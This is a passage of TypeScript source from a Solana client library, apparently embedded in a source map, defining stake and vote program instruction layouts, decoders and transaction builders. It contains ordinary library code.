authorize-with-seed stake instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeWithSeedStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {\n newAuthorized,\n stakeAuthorizationType,\n authoritySeed,\n authorityOwner,\n } = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n const o: AuthorizeWithSeedStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorityBase: instruction.keys[1].pubkey,\n authoritySeed: authoritySeed,\n authorityOwner: new PublicKey(authorityOwner),\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a split stake instruction and retrieve the instruction params.\n */\n static decodeSplit(instruction: TransactionInstruction): SplitStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Split,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n splitStakePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a merge stake instruction and retrieve the instruction params.\n */\n static decodeMerge(instruction: TransactionInstruction): MergeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Merge, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n sourceStakePubKey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n };\n }\n\n /**\n * Decode a withdraw stake instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n const o: WithdrawStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n if (instruction.keys.length > 5) {\n o.custodianPubkey = instruction.keys[5].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a deactivate stake instruction and retrieve the instruction params.\n */\n static decodeDeactivate(\n instruction: TransactionInstruction,\n ): DeactivateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Deactivate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(StakeProgram.programId)) {\n throw new Error('invalid instruction; programId is not StakeProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid StakeInstructionType's\n */\nexport type StakeInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof StakeInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'Deactivate'\n | 'Delegate'\n | 'Initialize'\n | 'Merge'\n | 'Split'\n | 'Withdraw';\n\ntype StakeInstructionInputData = {\n Authorize: IInstructionInputData &\n Readonly<{\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n AuthorizeWithSeed: IInstructionInputData &\n Readonly<{\n authorityOwner: Uint8Array;\n authoritySeed: string;\n instruction: number;\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n Deactivate: IInstructionInputData;\n Delegate: IInstructionInputData;\n Initialize: IInstructionInputData &\n Readonly<{\n authorized: AuthorizedRaw;\n lockup: LockupRaw;\n }>;\n Merge: IInstructionInputData;\n Split: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n Withdraw: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n};\n\n/**\n * An enumeration of valid stake InstructionType's\n * @internal\n */\nexport const STAKE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in StakeInstructionType]: InstructionType<\n StakeInstructionInputData[Instruction]\n >;\n}>({\n Initialize: {\n index: 0,\n layout: BufferLayout.struct<StakeInstructionInputData['Initialize']>([\n BufferLayout.u32('instruction'),\n Layout.authorized(),\n Layout.lockup(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<StakeInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n ]),\n },\n Delegate: {\n index: 2,\n layout: BufferLayout.struct<StakeInstructionInputData['Delegate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Split: {\n index: 3,\n layout: BufferLayout.struct<StakeInstructionInputData['Split']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Withdraw: {\n index: 4,\n layout: BufferLayout.struct<StakeInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Deactivate: {\n index: 5,\n layout: BufferLayout.struct<StakeInstructionInputData['Deactivate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Merge: {\n index: 7,\n layout: BufferLayout.struct<StakeInstructionInputData['Merge']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n AuthorizeWithSeed: {\n index: 8,\n layout: BufferLayout.struct<StakeInstructionInputData['AuthorizeWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n Layout.rustString('authoritySeed'),\n Layout.publicKey('authorityOwner'),\n ],\n ),\n },\n});\n\n/**\n * Stake authorization type\n */\nexport type StakeAuthorizationType = {\n /** The Stake Authorization index (from solana-stake-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid StakeAuthorizationLayout's\n */\nexport const StakeAuthorizationLayout = Object.freeze({\n Staker: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Stake program\n */\nexport class StakeProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Stake program\n */\n static programId: PublicKey = new PublicKey(\n 'Stake11111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Stake account\n *\n * This is generated from the solana-stake-program StakeState struct as\n * `StakeStateV2::size_of()`:\n * https://docs.rs/solana-stake-program/latest/solana_stake_program/stake_state/enum.StakeStateV2.html\n */\n static space: number = 200;\n\n /**\n * Generate an Initialize instruction to add to a Stake Create transaction\n */\n static initialize(params: InitializeStakeParams): TransactionInstruction {\n const {stakePubkey, authorized, lockup: maybeLockup} = params;\n const lockup: Lockup = maybeLockup || Lockup.default;\n const type = STAKE_INSTRUCTION_LAYOUTS.Initialize;\n const data = encodeData(type, {\n authorized: {\n staker: toBuffer(authorized.staker.toBuffer()),\n withdrawer: toBuffer(authorized.withdrawer.toBuffer()),\n },\n lockup: {\n unixTimestamp: lockup.unixTimestamp,\n epoch: lockup.epoch,\n custodian: toBuffer(lockup.custodian.toBuffer()),\n },\n });\n const instructionData = {\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a Transaction that creates a new Stake account at\n * an address generated with `from`, a seed, and the Stake programId\n */\n static createAccountWithSeed(\n params: CreateStakeAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that creates a new Stake account\n */\n static createAccount(params: CreateStakeAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that delegates Stake tokens to a validator\n * Vote PublicKey. This transaction can also be used to redelegate Stake\n * to a new validator Vote PublicKey.\n */\n static delegate(params: DelegateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, votePubkey} = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Delegate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: votePubkey, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: STAKE_CONFIG_ID, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorize(params: AuthorizeStakeParams): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorizeWithSeed(params: AuthorizeWithSeedStakeParams): Transaction {\n const {\n stakePubkey,\n authorityBase,\n authoritySeed,\n authorityOwner,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n authoritySeed: authoritySeed,\n authorityOwner: toBuffer(authorityOwner.toBuffer()),\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorityBase, isSigner: true, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * @internal\n */\n static splitInstruction(params: SplitStakeParams): TransactionInstruction {\n const {stakePubkey, authorizedPubkey, splitStakePubkey, lamports} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Split;\n const data = encodeData(type, {lamports});\n return new TransactionInstruction({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: splitStakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another stake account\n */\n static split(\n params: SplitStakeParams,\n // Compute the cost of allocating the new stake account in lamports\n rentExemptReserve: number,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.authorizedPubkey,\n newAccountPubkey: params.splitStakePubkey,\n lamports: rentExemptReserve,\n space: this.space,\n programId: this.programId,\n }),\n );\n return transaction.add(this.splitInstruction(params));\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another account\n * derived from a base public key and seed\n */\n static splitWithSeed(\n params: SplitStakeWithSeedParams,\n // If this stake account is new, compute the cost of allocating it in lamports\n rentExemptReserve?: number,\n ): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n basePubkey,\n seed,\n lamports,\n } = params;\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: splitStakePubkey,\n basePubkey,\n seed,\n space: this.space,\n programId: this.programId,\n }),\n );\n if (rentExemptReserve && rentExemptReserve > 0) {\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: params.authorizedPubkey,\n toPubkey: splitStakePubkey,\n lamports: rentExemptReserve,\n }),\n );\n }\n return transaction.add(\n this.splitInstruction({\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n lamports,\n }),\n );\n }\n\n /**\n * Generate a Transaction that merges Stake accounts.\n */\n static merge(params: MergeStakeParams): Transaction {\n const {stakePubkey, sourceStakePubKey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Merge;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: sourceStakePubKey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that withdraws deactivated Stake tokens.\n */\n static withdraw(params: WithdrawStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, toPubkey, lamports, custodianPubkey} =\n params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that deactivates Stake tokens.\n */\n static deactivate(params: DeactivateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Deactivate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {SYSVAR_CLOCK_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Vote account info\n */\nexport class VoteInit {\n nodePubkey: PublicKey;\n authorizedVoter: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number; /** [0, 100] */\n\n constructor(\n nodePubkey: PublicKey,\n authorizedVoter: PublicKey,\n authorizedWithdrawer: PublicKey,\n commission: number,\n ) {\n this.nodePubkey = nodePubkey;\n this.authorizedVoter = authorizedVoter;\n this.authorizedWithdrawer = authorizedWithdrawer;\n this.commission = commission;\n }\n}\n\n/**\n * Create vote account transaction params\n */\nexport type CreateVoteAccountParams = {\n fromPubkey: PublicKey;\n votePubkey: PublicKey;\n voteInit: VoteInit;\n lamports: number;\n};\n\n/**\n * InitializeAccount instruction params\n */\nexport type InitializeAccountParams = {\n votePubkey: PublicKey;\n nodePubkey: PublicKey;\n voteInit: VoteInit;\n};\n\n/**\n * Authorize instruction params\n */\nexport type AuthorizeVoteParams = {\n votePubkey: PublicKey;\n /** Current vote or withdraw authority, depending on `voteAuthorizationType` */\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n};\n\n/**\n * AuthorizeWithSeed instruction params\n */\nexport type AuthorizeVoteWithSeedParams = {\n currentAuthorityDerivedKeyBasePubkey: PublicKey;\n currentAuthorityDerivedKeyOwnerPubkey: PublicKey;\n currentAuthorityDerivedKeySeed: string;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n votePubkey: PublicKey;\n};\n\n/**\n * Withdraw from vote account transaction params\n */\nexport type WithdrawFromVoteAccountParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n lamports: number;\n toPubkey: PublicKey;\n};\n\n/**\n * Update validator identity (node pubkey) vote account instruction params.\n */\nexport type UpdateValidatorIdentityParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n nodePubkey: PublicKey;\n};\n\n/**\n * Vote Instruction class\n */\nexport class VoteInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a vote instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): VoteInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: VoteInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(VOTE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as VoteInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a VoteInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode an initialize vote instruction and retrieve the instruction params.\n */\n static decodeInitializeAccount(\n instruction: TransactionInstruction,\n ): InitializeAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 4);\n\n const {voteInit} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.InitializeAccount,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n nodePubkey: instruction.keys[3].pubkey,\n voteInit: new VoteInit(\n new PublicKey(voteInit.nodePubkey),\n new PublicKey(voteInit.authorizedVoter),\n new PublicKey(voteInit.authorizedWithdrawer),\n voteInit.commission,\n ),\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeVoteParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {newAuthorized, voteAuthorizationType} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeVoteWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorized,\n voteAuthorizationType,\n },\n } = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n return {\n currentAuthorityDerivedKeyBasePubkey: instruction.keys[2].pubkey,\n currentAuthorityDerivedKeyOwnerPubkey: new PublicKey(\n currentAuthorityDerivedKeyOwnerPubkey,\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n votePubkey: instruction.keys[0].pubkey,\n };\n }\n\n /**\n * Decode a withdraw instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawFromVoteAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedWithdrawerPubkey: instruction.keys[2].pubkey,\n lamports,\n toPubkey: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(VoteProgram.programId)) {\n throw new Error('invalid instruction; programId is not VoteProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid VoteInstructionType's\n */\nexport type VoteInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof VoteInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'InitializeAccount'\n | 'Withdraw'\n | 'UpdateValidatorIdentity';\n\n/** @internal */\nexport type VoteAuthorizeWithSeedArgs = Readonly<{\n currentAuthorityDerivedKeyOwnerPubkey: Uint8Array;\n currentAuthorityDerivedKeySeed: string;\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n}>;\ntype VoteInstructionInputData = {\n Authorize: IInstructionInputData & {\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n };\n AuthorizeWithSeed: IInstructionInputData & {\n voteAuthorizeWithSeedArgs: VoteAuthorizeWithSeedArgs;\n };\n InitializeAccount: IInstructionInputData & {\n voteInit: Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>;\n };\n Withdraw: IInstructionInputData & {\n lamports: number;\n };\n UpdateValidatorIdentity: IInstructionInputData;\n};\n\nconst VOTE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in VoteInstructionType]: InstructionType<\n VoteInstructionInputData[Instruction]\n >;\n}>({\n InitializeAccount: {\n index: 0,\n layout: BufferLayout.struct<VoteInstructionInputData['InitializeAccount']>([\n BufferLayout.u32('instruction'),\n Layout.voteInit(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<VoteInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('voteAuthorizationType'),\n ]),\n },\n Withdraw: {\n index: 3,\n layout: BufferLayout.struct<VoteInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n UpdateValidatorIdentity: {\n index: 4,\n layout: BufferLayout.struct<\n VoteInstructionInputData['UpdateValidatorIdentity']\n >([BufferLayout.u32('instruction')]),\n },\n AuthorizeWithSeed: {\n index: 10,\n layout: BufferLayout.struct<VoteInstructionInputData['AuthorizeWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.voteAuthorizeWithSeedArgs(),\n ]),\n },\n});\n\n/**\n * VoteAuthorize type\n */\nexport type VoteAuthorizationType = {\n /** The VoteAuthorize index (from solana-vote-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid VoteAuthorization layouts.\n */\nexport const VoteAuthorizationLayout = Object.freeze({\n Voter: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Vote program\n */\nexport class VoteProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Vote program\n */\n static programId: PublicKey = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Vote account\n *\n * This is generated from the solana-vote-program VoteState struct as\n * `VoteState::size_of()`:\n * https://docs.rs/solana-vote-program/1.9.5/solana_vote_program/vote_state/struct.VoteState.html#method.size_of\n *\n * KEEP IN SYNC WITH `VoteState::size_of()` in https://github.com/solana-labs/solana/blob/a474cb24b9238f5edcc982f65c0b37d4a1046f7e/sdk/program/src/vote/state/mod.rs#L340-L342\n */\n static space: number = 3762;\n\n /**\n * Generate an Initialize instruction.\n */\n static initializeAccount(\n params: InitializeAccountParams,\n ): TransactionInstruction {\n const {votePubkey, nodePubkey, voteInit} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.InitializeAccount;\n const data = encodeData(type, {\n voteInit: {\n nodePubkey: toBuffer(voteInit.nodePubkey.toBuffer()),\n authorizedVoter: toBuffer(voteInit.authorizedVoter.toBuffer()),\n authorizedWithdrawer: toBuffer(\n voteInit.authorizedWithdrawer.toBuffer(),\n ),\n commission: voteInit.commission,\n },\n });\n const instructionData = {\n keys: [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction that creates a new Vote account.\n */\n static createAccount(params: CreateVoteAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.votePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n return transaction.add(\n this.initializeAccount({\n votePubkey: params.votePubkey,\n nodePubkey: params.voteInit.nodePubkey,\n voteInit: params.voteInit,\n }),\n );\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account.\n */\n static authorize(params: AuthorizeVoteParams): Transaction {\n const {\n votePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n voteAuthorizationType,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account\n * where the current Voter or Withdrawer authority is a derived key.\n */\n static authorizeWithSeed(params: AuthorizeVoteWithSeedParams): Transaction {\n const {\n currentAuthorityDerivedKeyBasePubkey,\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey,\n voteAuthorizationType,\n votePubkey,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey: toBuffer(\n currentAuthorityDerivedKeyOwnerPubkey.toBuffer(),\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n },\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: currentAuthorityDerivedKeyBasePubkey,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw from a Vote account.\n */\n static withdraw(params: WithdrawFromVoteAccountParams): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, lamports, toPubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw safely from a Vote account.\n *\n * This function was created as a safeguard for vote accounts running validators, 